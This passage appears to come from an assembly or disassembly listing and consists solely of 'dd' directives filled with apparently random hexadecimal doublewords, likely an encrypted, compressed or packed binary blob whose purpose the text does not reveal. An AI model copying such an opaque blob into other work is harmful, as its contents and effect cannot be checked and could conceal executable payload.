1E768E0Ah, 20BA9089h, 0FCBD6970h dd 0C89B08C6h, 5CE3AF3Fh, 38D502A7h, 85552BBh, 0DD00F8A1h dd 0D1634749h, 4E80B7E7h, 21182215h, 36E3E92Eh, 20866885h dd 0E74D934Ch, 3B230FB9h, 9E4B6C06h, 789D1FF0h, 64C338F2h dd 1E37B05Bh, 3166CD40h, 4354B050h, 0FE0204CEh, 0E80A1874h dd 7F699B97h, 0B96EE3B7h, 0F3027C47h, 399EF4D7h, 2D50D089h dd 92791B74h, 896AE088h, 0FAD9D69Fh, 9B0FDD28h, 33416840h dd 9D7A67D9h, 96064FDh, 9321DD49h, 3F4A9108h, 811EBA5Fh dd 9EAF192h, 32FD5C71h, 42A1F150h, 567CD3E9h, 65112F3Eh dd 252C01A1h, 57C7CFE9h, 19E0875Bh, 0D9A000FCh, 476B3B00h dd 0E581456Dh, 1F791251h, 37490121h, 70C20807h, 659A5D81h dd 644E51ECh, 5455E249h, 0BED5CE91h, 0FEDF3114h, 74793905h dd 0E580605h, 0DF8B8DC9h, 7D0BC0BAh, 54571C10h, 4CBC89F8h dd 32F4B901h, 0CCE8281Eh, 5485C4B2h, 3860805Eh, 64A983Eh dd 0D0084ABh, 6E1533E7h, 0CB682ED1h, 771D72B9h, 0AEF0D33Ch dd 0DCFBED56h, 0B2BE6EEEh, 0BC61B913h, 44FC2F67h, 73CD4C29h dd 9B590840h, 33AFA2C5h, 55A75A6Fh, 0F14EDFBBh, 4B3F8051h dd 856800D0h, 4598971Bh, 28482629h, 0CE4B72EDh, 0BA48C6E3h dd 22CA110h, 0D1F65DB1h, 2BC15FFEh, 7E11F9B9h, 0DF5A3F0Eh dd 97D45AADh, 845D98C2h, 96C95D3Eh, 6497B442h, 4A2FEED1h dd 0C164AAE0h, 846FF783h, 5576A7ABh, 0EAF7304Ch, 2CBA20D7h dd 0EB4BCD5Ah, 0AB4A77B7h, 0C93F0281h, 8177A37Eh, 6802C683h dd 8A6E79C9h, 6E918B9h, 12C8BBD9h, 0FC1A3C0Fh, 0B56104DDh dd 3D84CFC0h, 0D1E22CEBh, 79E9EF0Bh, 628F7C7Ch, 8100780Bh dd 32304FE6h, 9B163507h, 0EAA0DCC7h, 0E80A8F2Fh, 0BD204AF6h dd 0F5AD654Fh, 68139694h, 0F1D95F45h, 8CC6613Fh, 84CE2E73h dd 0C2D1FC5Bh, 48A6E9DFh, 3CD4F68Ch, 7692E686h, 11F6AFFDh dd 5EE06825h, 8727D6F7h, 6187CF2h, 0C791F48h, 6AA9A809h dd 5389314Ch, 441EB06Ch, 0EFE9044Dh, 2FECED99h, 0AE2D8003h dd 0F23CF2Ch, 4A8BEA81h, 0E2C0678Eh, 2A2147C3h, 81FE509Fh dd 5000D95h, 1B1C18B0h, 0EBAF5D2Dh, 0A7FDDD9Dh, 703A5B4Ch dd 0F0273997h, 1F5BBB6Ah, 0A8D461EDh, 12E0DC84h, 0CE07F0FCh dd 69451544h, 0BD955A5Dh, 800BDB70h, 843D7467h, 59046478h dd 46618255h, 0F9BB61C8h, 51B0F1F0h, 7F30EB04h, 97C34750h dd 0F62001CEh, 34C8FED8h, 0D8D0D96Ah, 0A40E04C0h, 17D541E9h dd 92B0DDEBh, 0BFBD54A2h, 0EF4A0C94h, 0A5002129h, 3D9839AAh dd 5189BD62h, 4756AB7Fh, 0D0E95302h, 6D94C838h, 0E87BE15Eh dd 0BCE9E01Ch, 45169553h, 0AFACCAB3h, 9046A20Bh, 3B50ECA7h dd 0C903125Bh, 44F8361Dh, 0E6BC80E5h, 0C99830D9h, 0D4606341h dd 4BA06204h, 0E1FF58C2h, 0A06B1717h, 1DD3EB3Eh, 0E3687442h dd 0C941D437h, 8BDFC5F5h, 71E2A4E9h, 4B147875h, 65C51Dh dd 402BEBE4h, 0F2985233h, 9C117816h, 4D1A0A04h, 0B85ECBA7h dd 0D2B21083h, 0C776592Fh, 72BE9424h, 7BBBE1E7h, 0C888DF31h dd 3F1A5E37h, 2B640A45h, 90E57509h, 270CDC32h, 88AF8E0h dd 0D61C6624h, 40A98710h, 10183990h, 0DA013E16h, 4D089C00h dd 164F55A0h, 0A8815AE9h, 1518B16h, 0E07DEACDh, 0BA27BF41h dd 9D15796h, 1EB3B585h, 0A5D05CAh, 0D9A733AAh, 8C5CE95Dh dd 0B57EB7D1h, 0B261DA97h, 70982B85h, 205241C9h, 0F4412680h dd 0E5D4ED7Bh, 2FC6582h, 655CD828h, 80D3B163h, 4AEAE9C8h dd 1B6F4232h, 0F78B9467h, 2544805Dh, 9FEFC114h, 0E935B5Eh dd 889728FBh, 5731445Ah, 0CB2B0255h, 0F84C7865h, 15C30FB2h dd 7572692Ah, 2F08F3A8h, 0E941F47Ch, 6DACCD6Bh, 794A01B2h dd 21F90160h, 0D10812D4h, 6E1683D5h, 0F72F02C6h, 0F357DBF4h dd 1DC541h, 0CF03EEC1h, 0D6640806h, 0FFCABE0Fh, 81605E7Ch dd 0CA5A589Dh, 0B7815AF9h, 60C18020h, 0ED7F9C1h, 0AE2C5B2Ch dd 93962AA4h, 8E7E3092h, 94B74074h, 30BE20EDh, 707CC0C1h dd 0EE3C1873h, 0D3CA8107h, 0C0724522h, 0DC4482AAh, 2AE97640h dd 27B433DAh, 0F6197D42h, 0E88B7AEFh, 82D75D27h, 0DDEE5C60h dd 0D895B4CCh, 0E6525819h, 0A80693DDh, 0BC47C5C2h, 293AF129h dd 0AFBC3AB9h, 0D731E9ACh, 0C248FF27h, 0EEC08CA5h, 3924CFF1h dd 340CDD4Eh, 0FA511AF3h, 0AAEB95B1h, 1E472816h, 0ED3530BEh dd 0F37B6395h, 0C507E19Fh, 1C1C0846h, 0A47C7A9Ah, 2BCD0131h dd 0F4644329h, 1F01C2F5h, 0EE09390Dh, 177BAAE9h, 39CBAAF3h dd 0D912F548h, 1EE53551h, 7716FE8Ch, 0E041EA63h, 5CF83A07h dd 49ECE7D9h, 0E9781752h, 3B40BD0Ah, 89C6ADDAh, 36C6F416h dd 4758F8D2h, 21801691h, 575341FAh, 3EE169F2h, 3A802184h dd 4BFA07B5h, 0A579AC4Dh, 8925C0FFh, 0A59EC66h, 0C6FF8D60h dd 0DDA2802Fh, 10395B0Eh, 0BDC04AE9h, 31329EB9h, 86866DBCh dd 31BAD0B3h, 559CB01h, 42B25614h, 3E14157Ch, 193C3E7h dd 0C8061E47h, 38F8F55Bh, 380137AAh, 0FA86CE82h, 272F3B2Ah dd 60D218Eh, 2D084860h, 32DB7D7h, 9DC158F8h, 0C48211D6h dd 61137192h, 0BE00B76Bh, 385C8DD5h, 0F0BD1872h, 24295866h dd 12665FFAh, 0D2F05DB4h, 0A975B851h, 0BFA0023Fh, 41DFA348h dd 206FE641h, 0A446308Dh, 0D5A07B4Fh, 885504AEh, 0FE5D4E68h dd 3D208352h, 0C6F51C1h, 53581295h, 0C3B833Ch, 2689CA2Bh dd 0BF30D161h, 0EF801D08h, 58B6C2FFh, 0E677F728h, 40E99096h dd 0F4BF64B8h, 3632424Fh, 0B508F9D1h, 0DDD427C0h, 0FA025112h dd 4041B74Eh, 2476C916h, 7719C02h, 36690EF1h, 0E8500C37h dd 314F12C8h, 8B6A71E5h, 364493A0h, 311EDE6Fh, 6F5E6889h dd 9A812C37h, 71FA931Bh, 99FA09Dh, 4F2D0C18h, 761D2FDFh dd 8858EFE8h, 91482604h dd 580EEC42h, 0A0C54FA0h, 0ABB18CF8h, 778C2B91h, 0CC72D68h dd 2B22EBC6h, 6EC22D87h, 7EEA0C07h, 0F7FB9913h, 261A0F4Ch dd 75526591h, 3C4E8C16h, 20FB0817h, 493AE26Ah, 0D16FAE17h dd 1FFC9B80h, 0A5274A17h, 78EE2A17h, 492FE96Bh, 8194EAFEh dd 200709EAh, 0DE68FDC2h, 4A3EADE5h, 0BD0C6063h, 4C43C615h dd 0EA065845h, 0C063F7Ah, 0F2A4C45h, 2869686Ah, 50793E44h dd 0FFD365ABh, 9C750987h, 59E92C4Ch, 0C2888EDFh, 0FD26D54Fh dd 0D258FDE6h, 588D2743h, 4F53FAA0h, 6BC2DD2Ah, 0D669D6A9h dd 0EDC0DBD3h, 4EA21F77h, 0A6E0529h, 0D795E3E6h, 0B22B61E4h dd 5932C958h, 0BA8C67Fh, 0E292E9F5h, 57220B46h, 0B3D32F6Dh dd 1450E37Ch, 603CBE02h, 338E10F6h, 0F70D4809h, 80528E5Ah dd 2ADC05D0h, 2D7A02EBh, 0E7F85B06h, 0E96F825Dh, 1D6ED4F2h dd 0B5829250h, 2775FAC4h, 0DACE578Dh, 7ACEF789h, 0D7EB682Ah dd 0DDAEE92Dh, 45D74A89h, 2528AA4Fh, 235CF068h, 21E1D6Ah dd 7038CF49h, 487F0B77h, 0ED8B521Fh, 0C304C7D2h, 676C39A6h dd 7B58E0D1h, 2199716Fh, 0A4F538E8h, 0F591D1EFh, 902808BFh dd 7510E81Bh, 1752BDDFh, 0C585F3Eh, 0D3487268h, 46474F9Dh dd 8DBE5975h, 9679C538h, 4BF0A62h, 0E494F932h, 0A9980558h dd 86F88B0Bh, 2B0BDFF4h, 7FE0FF01h, 4728604Ch, 3E6800FFh dd 70E29402h, 152CB9C2h, 203BD5F6h, 89BE0B16h, 7E831341h dd 0C2005EF2h, 0BF37188h, 27E9FA31h, 3871D4E6h, 79C62A42h dd 3B273CB9h, 0B44C0FF1h, 0CA38053Ch, 0FC37E965h, 315E0960h dd 592576F5h, 0B9942B1Eh, 6023BBB0h, 7B66D5ADh, 80954D1Bh dd 0E4849EB8h, 0E88906B2h, 36D3F7E9h, 2D5703A1h, 15C88485h dd 1B7D8914h, 0E8380748h, 599DB4EEh, 0D76842C5h, 0B95B98FDh dd 484BB0A5h, 0E202221Ch, 1457226h, 880A6D0h, 7E246859h dd 586B992Bh, 0F460E72Ah, 0BE2D80A3h, 4C982112h, 705350Ah dd 8FC527h, 7290BB53h, 0D5A0289Eh, 5E81F3AAh, 2F66Fh, 4644C3EEh dd 0F1C6011Fh, 0D3088BCAh, 5AEF0831h, 0B21BB705h, 5BFAB4C0h dd 0A5F2A68h, 5C49859h, 308FB049h, 1959C1F8h, 78CF3361h dd 5609444Bh, 6A5A5D66h, 95BCFA20h, 98E014A2h, 0E4C25104h dd 82D5DA46h, 25A976B6h, 8502A4DEh, 557D7343h, 13C90168h dd 7898182Dh, 0FB017E56h, 0B2E5B161h, 0D24D87Ah, 3BB97240h dd 33AD2A30h, 1C5225Dh, 49C6F554h, 0EAE91180h, 3925EE49h dd 1D45662h, 4A129ABEh, 0A247462Ch, 39B13F10h, 126DBE89h dd 511CE9C3h, 28D42BB8h, 0CB93C1BFh, 1BAD3FDEh, 45DDFF9Eh dd 0F328AE4Bh, 4C565E2Ah, 0BF29DC45h, 8C179A09h, 4B05C3Eh dd 22C422Eh, 160C468h, 2E4A43E9h, 7D6ADCDDh, 8B64AF01h dd 0D3AEE282h, 0F698EF7h, 1E98EA12h, 1F5EB714h, 0B59DEF58h dd 0DC5FB74Ch, 80B447A8h, 482E364Eh, 0C96CE90h, 0A1295F14h dd 58002D82h, 669D5453h, 4F0CFC31h, 0FDAF90C0h, 0F65D5166h dd 625D274Fh, 5820606Ch, 0EF81809Ch, 0BB6DC600h, 0FE295906h dd 924E485Fh, 51172E3Eh, 5CDBD87h, 3FDD68D0h, 0D1005AE3h dd 0E96A2E34h, 83FBD6h, 0FD613CC8h, 9EC8BD2Bh, 0E9D4020Bh dd 16A2B13h, 450B326Dh, 7877DACBh, 0C27AEF30h, 277ECCABh dd 8E24BB03h, 0ACA4FF3Bh, 78EE98D5h, 0D905C04h, 981F534Fh dd 7E224E71h, 4BD98E3Ah, 88D6575Ch, 207D0BB7h, 0BF051C93h dd 52F7642Eh, 0A849300h, 9731EA30h, 81203255h, 3860BF76h dd 4FEEFF20h, 337ECCDEh, 2B419941h, 0C805978Fh, 0BA41F6BFh dd 1C083BCCh, 6E42371Ah, 1F16038Ch, 0E0221C7h, 0C3F42BC2h dd 0E3A05F0Bh, 267374EBh, 82126E6Dh, 0A4680800h, 207E923Bh dd 5A5C2509h, 5A2F22DAh, 71EA12B4h, 2347DF77h, 96848F0h dd 8540B151h, 6FE774C5h, 0B1F4375Bh, 0C59055C2h, 3B406A31h dd 0E7A12F0Dh, 77E09D09h, 0E9C0BFD5h, 1257F999h, 0EFD64A29h dd 99EB0053h, 78A56092h, 2AD1ED83h, 0CA7AD6F7h, 2F9858FEh dd 0BA578087h, 6B8333C6h, 20DE5C1Dh, 267FCC5Ah, 162B9A2Dh dd 6D10EE21h, 53BC4B07h, 2291EEA4h, 0FE10A56Ah, 46E480C6h dd 9B6E9EF6h, 0E392C417h, 0BE48F4E3h, 367F784h, 3B94ED80h dd 0F51F5406h, 0E02D9701h, 685052C3h, 5126CCC2h, 9440C55Ah dd 110C9D1Dh, 16BEABE9h, 0D6B81452h, 48E55ECFh, 8626AF33h dd 0D0011D9Ch, 10057CEEh, 0D8D66851h, 0B409B6F3h, 0FCE79AE9h dd 0F29F56A7h, 0D2983182h, 0DFDE2018h, 3BE8E882h, 350507E0h dd 689E6B8Fh, 0E2059EA8h, 0AE491B13h, 919F9105h, 0E6D76DE9h dd 32B8D6EFh, 25E31760h, 7C7B0829h, 71DFBB25h, 0E955CCA3h dd 64B94D27h, 0D1882F74h, 0CB3B5378h, 0E9D98551h, 0C1D9CCAFh dd 0B83AD7D9h, 0C8FCB54Bh, 2E5D0589h, 60B3AFC6h, 7D2D5A79h dd 4DB05D13h, 0EBBD5500h, 455E9316h, 33F22BE3h, 0F4B23E04h dd 2FA8B1CAh, 52023ACBh, 4916F91Fh, 1DFC8440h, 4B310939h dd 40216AB0h, 0DA39F7C6h, 711CAF52h, 0F87C097Bh, 0C88C71C7h dd 0B055D8B8h, 1338B283h, 0E804EAC1h, 17201D44h, 3A3C13BFh dd 0F90BB41h, 28306EFDh, 0C015057Ch, 0BC05E960h, 82E84F67h dd 0F940962Dh, 5609BF57h, 220978h, 4C450CF9h, 0FB292030h dd 0AE973A26h, 0A002BE50h, 80D2234Fh, 832F6866h, 24257547h dd 0F68AE016h, 0DF0CD81Ah, 95464008h, 59C80008h, 0C328AF04h dd 0EB378058h, 1D5F0C88h, 57440672h, 0E98521F9h, 9F98115Bh dd 46E45820h, 0C7487984h, 0D2D0E730h, 0D4485F2Ch, 0CAF00AF5h dd 12BA8D49h, 60AF3089h, 113DA360h, 0D55A4125h, 43F5B54Ah dd 1395F187h, 0D003955h, 298844CEh, 0B005A3BBh, 0B64AE9EBh dd 0FB6097Eh, 28D4265Dh, 492C04E6h, 0BE4E6DE9h, 0F0683020h dd 0BD1DBB04h, 4E78DB15h, 9EB1E93Ch, 0E04CC2C7h, 5381F017h dd 2F7363F4h, 0AF80544Bh, 0DC465648h, 0D055E927h, 0BA660A98h dd 6C7458Eh, 0A505AD6h, 0C106F065h, 0B1CB182h, 4FE52C0Eh dd 785FAEF7h, 3C57E396h, 89FECADh, 54171127h, 0BCD29CABh dd 8E912E30h, 131DB8F6h, 1C461C5Ch, 445CFAF6h, 32CCF80Fh dd 43381CD2h, 4F3C0530h, 2E73CFE8h, 0A002012Dh, 55578F91h dd 0E910C53Bh, 0E7952389h, 3AF829B9h, 0A66901F7h, 0ED59A82h dd 0EA141EFCh, 535B0208h, 0DF33B0E9h, 215CC9B9h, 3CEC3E8Fh dd 0D3E6AEF4h, 0AF30564Fh, 3CB3DC13h, 0EE5A5485h, 0E95E5ACFh dd 0E687CBDAh, 275B34E1h, 15CF056Bh, 0B22B4493h, 0C99C8072h dd 532CD9F6h, 0F01638B7h, 0B45F7C8Ch, 7C355950h, 0F65C2FE1h dd 802D188h, 3AA59966h, 0C695B620h, 69C0F67Eh, 677516DAh dd 1B100991h, 0F19A6030h, 8AB451B7h, 9759691Ch, 1BF50559h dd 680A20B0h, 73BD4950h, 11E90449h, 0CB75AECEh, 1247A2AAh dd 66FAFC88h, 4D012A88h, 0C13EF67Bh, 732008E6h, 0E9EBB426h dd 682668DFh, 35774E43h, 0CDC10908h, 963D95Dh, 52562281h dd 20145AD2h, 5976BF01h, 221EED4Eh, 121D9842h, 235400Ah dd 383244Ch, 0CA520827h, 69C1310Dh, 4A0BE92Fh, 0C623BCBh dd 0C6DD62E9h, 98A5807Dh, 98ACD0F7h, 0B6DE1F12h, 79127028h dd 60BD6F60h, 1C810841h, 75641B14h, 290E815Eh, 128316Bh dd 82A40F7h, 0C13278FFh, 695E9696h, 0D3EA960Fh, 0F9637191h dd 458F7A1h, 910D4E68h, 48BD3D47h, 251367E3h, 18005046h dd 37C4716Bh, 0E9F10E31h, 0BB133C44h, 277EAFCAh, 46511BFAh dd 30667982h dd 0FBA48313h, 0F51D02F8h, 25AF565Ch, 7EE1CF8Fh, 60452ED4h dd 0A926C6E2h, 409FC27h, 0C9EBDC7Bh, 0D4088086h, 678E91Dh dd 5187A36Eh, 0ABCF3EC5h, 132E04F9h, 9B410012h, 9778C35h dd 0A8C2DCBDh, 2D189E1Bh, 530EC374h, 0EBC062B3h, 16CC103h dd 7E3D8h, 5250CBFEh, 0F4887DB6h, 7F25A48h, 0F0C9808Eh dd 8234C133h, 0B02340CCh, 2469F93h, 0B536BA20h, 5C3AA6D4h dd 13F15BD6h, 45B9377Ah, 0FC8CBFDCh, 9569F452h, 0F8C3D320h dd 0A917138Ch, 0D0AFDE31h, 5E2C68C4h, 0C982D1B7h, 0DE17247Eh dd 5794E6C5h, 89878BABh, 97257898h, 0BA891ECFh, 42ED9BBh dd 0AA071C68h, 0EA4FFA3Ah, 40C76509h, 5B17686Ah, 0F55FFC08h dd 49D282A8h, 9154C57Dh, 8BA56123h, 0AF967DFBh, 76E39927h dd 0D921626Dh, 0E9586276h, 955670EEh, 5CB61DCh, 24EE29B2h dd 5DE9C0FBh, 7B2F662Eh, 514BA15Ah, 0DA6FD968h, 2D145030h dd 56FED05Bh, 0AB93856Bh, 2F573241h, 852B36F5h, 8325AB59h dd 2E69FA01h, 0DDEC11B8h, 797CBFFDh, 7395CAA0h, 5AEE8D4Ah dd 54A86F71h, 7B877FA1h, 0F4804F90h, 0B0307353h, 194D6B57h dd 4B124C55h, 4E460446h, 8598C255h, 0BEF54577h, 440970A5h dd 20ADE455h, 5904B33Bh, 43F36850h, 9F619398h, 4309530Bh dd 84934A02h, 83E9C843h, 0E6647B0Ch, 63E79B81h, 0E607F46Dh dd 0B20756E4h, 11861CDCh, 0D5957103h, 9C2DD05h, 6C794E88h dd 182BF742h, 3A17E2B8h, 9C001EEEh, 1B1C290Dh, 9D597EE9h dd 7E88EF20h, 0F4B84834h, 0CBA1E40h, 1CCE5A8Ah, 2503F220h dd 5FE93A24h, 0C773026Dh, 0C84ABA15h, 730B0E55h, 18DBA104h dd 0AD047EB3h, 0C83A8378h, 1B7ADE9Bh, 64FE3C4Eh, 5B0C0949h dd 1C8367F0h, 0FB5557C2h, 906B4A6h, 0B529DDD9h, 0BDDA1633h dd 0D7258D54h, 3568C968h, 0C296495Dh, 5F4AE9h, 0C7E18B8h dd 0D72D5112h, 4017B700h, 2811AD35h, 9CA7B57h, 15056CD4h dd 0C8E42CE3h, 0E0EBF052h, 0EFB12437h, 0C0FAEA64h, 56451213h dd 8963A297h, 952C7AD5h, 0B48875C5h, 0C15C1F0Eh, 8A7716F7h dd 0C0C06F45h, 0F5196847h, 42DE0C2Ch, 2DC6B36h, 5F4952D1h dd 15C2A5AFh, 30553690h, 30E4CB68h, 252242EFh, 35B0E17Ah dd 0A4B4DD6Fh, 0CB81CE1Fh, 3850FDC9h, 3980CBB3h, 5DC78EBh dd 1DD92816h, 0C75B5218h, 0B8F8B23Ah, 0CEB1C2DBh, 98E492C3h dd 0B3E92F05h, 660E66C6h, 930860B9h, 99310F1h, 0ACF9AC05h dd 669BC05Ch, 0E97FBEBBh, 20CB3E30h, 1E62F380h, 0CB33B050h dd 4FA8839h, 0D5A50B9Fh, 0B1554910h, 945AC388h, 6853D0AAh dd 0B26E8525h, 3E89FD95h, 0E37D74B0h, 0EEF82980h, 0E43D5F19h dd 0C2C107D1h, 2AAE51B3h, 7932DA83h, 0C000924h, 41277DACh dd 0B25DEE21h, 7A5B4EAh, 4110E0Ch, 74EF5789h, 932CFA3Ch dd 3EC34166h, 539619E0h, 0B126B935h, 407508C4h, 5B1CBE03h dd 96CBEEAh, 580E24D2h, 123A5E43h, 0B2779756h, 2778E114h dd 0B5B0D036h, 0C55DA80Bh, 8B534910h, 30EB5E92h, 3AB2E910h dd 94F28B6h, 0E16EF747h, 0B4017BB0h, 0E9549502h, 0D26EE68Ah dd 0E5487ED2h, 0B89FF231h, 18A4EE9Bh, 9C3A7429h, 0E92D0DB9h dd 83615A1Ah, 141C4108h, 0F3108C39h, 4AE85A92h, 7F48A1D7h dd 674085CBh, 7C9A5DE9h, 26A4BA02h, 44F77978h, 5CE59046h dd 0D8870B56h, 0A2C3375Bh, 94D7B126h, 0C10297E8h, 0A2083C6Eh dd 0D476FD05h, 428DC2FEh, 470BF45Ah, 7C3D7035h, 511A3F50h dd 0D6021CD7h, 6EDF1317h, 53EE69ACh, 1E78E804h, 6D854782h dd 62965E37h, 43C1DA31h, 14242EC9h, 813021FFh, 0E2717B2Fh dd 55C29055h, 10884F6Dh, 0E95F1380h, 0C0284F36h, 40AF418Dh dd 3EF8F12Eh, 1C7AD32Eh, 0E273D919h, 6DE00721h, 801C5E67h dd 98925DD1h, 0B1E1E35Fh, 252CF66Ah, 0F8F68B47h, 3B6720A5h dd 5D7F5E6Bh, 54515690h, 15FD95h, 0D2E77027h, 3BB6EBA4h dd 165C5B2Fh, 0D15F8402h, 6587762Fh, 0FF8BAB0Ch, 49CAA04Fh dd 0BA84ECC1h, 0E12E0340h, 6FD68B12h, 9102D54Fh, 0D75A1E5Dh dd 8716C8E4h, 0A8AD53D9h, 3422E9E0h, 0D7166392h, 0A900F757h dd 4F23F2BFh, 0AF314E3Dh, 6D3BF10h, 6B662690h, 1350790Ch dd 4E296003h, 387C9DEBh, 0B6A34B47h, 8149AC99h, 3AE5CB8Dh dd 0E3D8375Ch, 405E1F52h, 0DBF30016h, 21509878h, 0D68ADF4Fh dd 5D7F680Bh, 1DFC26B0h, 0DC02012Eh, 80698710h, 507C1072h dd 7FC49E5Eh, 0B045E8AEh, 767BA52h, 5CCD82Ch, 34001E56h dd 5AE9D029h, 62F873B2h, 1CF70212h, 72DF60Ah, 0A3B05213h dd 51392845h, 3F737EF0h, 0D1962890h, 68E52C41h, 800A3901h dd 0F1315E16h, 5C5251CCh, 0E1103D59h, 21AA5A57h, 54F8BF01h dd 3CFBB477h, 5E957070h, 6CD57A33h, 2E5A970Eh, 52DDFC9Fh dd 3E706D5Fh, 0BBD75ECCh, 92BB50C0h, 7EB0004Bh, 43AFEB81h dd 21135298h, 7B645BDDh, 3E2C6FAh, 91B26892h, 0B941D20h dd 0C1B331B5h, 2CE003DDh, 0C5B1850Ah, 2F60F5CAh, 4827E947h dd 0DD6E98C7h, 58CA2A68h, 86E9160Ah, 6B8EBAC1h, 9E804F2Dh dd 0C580D5F6h, 0DD5E9D75h, 2C7F30B8h, 41DF09B0h, 603815E3h dd 4E904B90h, 0F7046303h, 0B6BDE923h, 0C0DF0145h, 0EF8006E7h dd 0DBF7CC25h, 7C13EDECh, 0B0802CE9h, 2521EEB9h, 7E70344Fh dd 675709A0h, 810F6800h, 0C548A4E9h, 5BBEEACDh, 69AB8B2Bh dd 202EF54Ch, 0B3C0BAC9h, 0C20B55BFh, 0DF31B2B5h, 4B72094Ch dd 1E38C788h, 0C907CA27h, 9824C813h, 1072E9AEh, 3A62B7EFh dd 9606602h, 57EA476Fh, 6531BFEEh, 7FC517A8h, 0B0FA29ECh dd 9DE168A9h, 962C03E4h, 5AFB753h, 3FEFC7F8h, 0F304EE52h dd 0BB1297E4h, 5A0DD1CCh, 10B2E285h, 0BE009C3Eh, 30A84A10h dd 4E9CDE31h, 0ABD4CEB4h, 0CBE1B2EAh, 5100AB63h, 0AFA90C3h dd 0C33C3FEDh, 10BB0113h, 0F85F085Dh, 0ABE9A17Fh, 0FC9C53Eh dd 712B160Bh, 82FB8ED7h, 0DD665B59h, 8270D885h, 455F26F7h dd 42F8A48Bh, 0C15C6B28h, 0DE1E2BC2h, 2065D2A8h, 0EC5F9DA0h dd 0D7F71C06h, 35C14804h, 0B1D813Ch, 290F0573h, 0ABDB82FDh dd 6A1D2D01h, 73057070h, 219E279Bh, 7209576h, 0E91140F9h dd 0BBC944AAh, 1844F7F9h, 292C1BDh, 5A112FF3h, 0C44EE664h dd 78EEBB17h, 3527E907h, 0CB317DC7h, 5F1CA4D2h, 0FFABB40Fh dd 956014EFh, 0C4D40029h, 400CCE02h, 0BF7E5D4Dh, 5068E90Bh dd 1CBA0330h, 527B5A60h, 923FBCD9h, 1704D9BBh, 0EAB59281h dd 5A4BB26Ah, 74B44580h, 124122Bh, 0F02707FAh, 4021103Ah dd 392CC305h, 300C1AF1h, 9C7E9B4h, 0DD51C108h, 0EF762A2Eh dd 0C5EC6F05h, 0BD025DB2h, 422B5316h, 3A60E280h, 295A4F62h dd 845BCBCh, 5CC5D702h, 0BE5F1264h, 0ADCC10B1h, 0B534EA6Ch dd 0BE3ADE07h, 5E594649h, 737D18B0h, 0E96E09ADh, 4C793C7Bh dd 14525C1Eh, 616B5BF1h, 70D267Dh, 0BB9738BBh, 0AC989705h dd 9D257A0Dh, 3F38803Ah, 0B7E9106Dh, 147C7AACh, 3FF14070h dd 85AEEB84h, 480BFB14h, 245F0115h, 0B8F11B9h, 8E997DE9h dd 600CF851h, 5961CE13h, 91007AF1h, 603C128Dh, 0DF6702Eh dd 24B87927h, 6940E4Ch, 56E90119h, 89098078h, 9584FC6h dd 38FCFA1Ch, 57E5E09Dh, 6D593661h, 1D1584C2h, 0BD72D00h dd 53F2A5Bh, 48D01F99h, 0F6BAA2C9h, 0C6BF78B5h, 6E888981h dd 6804FAD0h, 0E7B338B7h, 0AE7AD27Ch, 338C0CF7h, 0ED5A2C2Fh dd 0B2D0AA34h, 0C447CD68h dd 98A7679h, 0EF20555Bh, 44DF04ADh, 7DAB6812h, 98352AB3h dd 1CE0FEDFh, 0E8134ED2h, 8EA96D8h, 1824C5B9h, 75476105h dd 0ACE70A81h, 219CA3Bh, 0C41DB8C2h, 82BCF206h, 48C7FD08h dd 2524071Fh, 46373C8Bh, 377FC20h, 0BD5521BAh, 7FF9141Eh dd 0C98DEC4Dh, 68879891h, 0FF09547Ah, 0DD2D9B47h, 0E07EFD38h dd 90B844B5h, 2A95417Ah, 970660E4h, 0E1C36B68h, 0FD45472Dh dd 0A701260Bh, 30F3C23Fh, 0DAA86EAAh, 6C162C68h, 56BC3CF8h dd 7520DE06h, 5E925A37h, 86685702h, 604B7D6Bh, 80D55498h dd 0BF0EB652h, 678DCE80h, 0F3041FF6h, 0F9C729AFh, 0FB28E9C3h dd 50F8EBABh, 994175E9h, 2F4AA47Eh, 0B5E170B5h, 0DF582F5Ch dd 83F4B4A0h, 2F8A6367h, 3A8AC2Ch, 9621120Fh, 2937D0AEh dd 535C51D7h, 6FE61E2Fh, 0E94966C3h, 35AAD565h, 8ACCEF60h dd 0C24B433h, 0EA6BB821h, 0A12C6609h, 622024Bh, 465D03F8h dd 2BBA80B9h, 0C0C5B840h, 0F86E50ADh, 99634A89h, 98F7E68Eh dd 620AE9CFh, 672C10B9h, 851EE4FCh, 0C6E343CAh, 182E6E8Ah dd 0D8885087h, 5F58C222h, 828FC5Ah, 3B40E0E5h, 0E3810243h dd 42BF1CC0h, 0E7BCFE90h, 0E9FF5909h, 9F2958F6h, 0B3CE3F56h dd 0C8A1C6E2h, 4EBD006Bh, 66412D26h, 0F5049372h, 0A18A650Dh dd 0E91802FEh, 3AF710F0h, 0E9DE5716h, 0E2860949h, 0A29E57D2h dd 8D5F0A24h, 81667C69h, 137C631h, 87BD6B6Ch, 97E2A897h dd 0FC9250A2h, 47C1C075h, 2817EEFh, 697D6DCDh, 0C0DFF760h dd 2F151F3Ah, 87C3B85h, 0D1D89D3Dh, 17373540h, 2AE9642Eh dd 5BE491h, 392974BAh, 7057687Dh, 71390DA4h, 7D55042h dd 27ABAB5Bh, 48929228h, 0F8B38FA0h, 0C01ACBFEh, 770A05E3h dd 16E1DC8Eh, 809AB8E9h, 0E12CF0C5h, 1652665Ah, 0CC194168h dd 8826BF28h, 0F75ADADEh, 0FC767CE1h, 285E58C3h, 0E64A22ADh dd 0D62B1C83h, 99344F38h, 2F47D0C0h, 954A4C52h, 0AA0D4334h dd 31600FC9h, 0DA6D44BDh, 0CFD4F5A2h, 0BD56F0AFh, 5569565Eh dd 9F821EB4h, 20F03A66h, 0CC6A5B41h, 1F6711C3h, 2772C2F3h dd 60905F37h, 0F42D4C05h, 6AE625Ah, 0BC45807h, 1FA7C6E3h dd 290B07D6h, 0CFD1D4EEh, 0EA6395E0h, 5720E945h, 4066393Ah dd 0E1212D0Fh, 92D6CD6Ah, 0DAA6FA05h, 0B85FE9C4h, 7BB60190h dd 345AF020h, 8247E1E7h, 0F329E825h, 5E9F4Ch, 30ACB44Bh dd 801C5BDCh, 0ECC26BCCh, 84E188A6h, 0C3AFCBD8h, 0FAC53E13h dd 8EED719Dh, 0F0BFA0FEh, 5D47685Eh, 0FC935F69h, 0CA838595h dd 0B2FD0D56h, 0E320E4D0h, 1D0C4158h, 46563BB4h, 0EDD422EBh dd 6FD6FE09h, 0BBE11B65h, 0D04AE48Bh, 4AA368ADh, 936CC5B5h dd 0D474D856h, 25C13B44h, 647E36C7h, 542A008h, 20270168h dd 0B45ABA6Ch, 33E95412h, 1214AB2h, 1257F500h, 2529FD8Ch dd 46D05DEBh, 974622BDh, 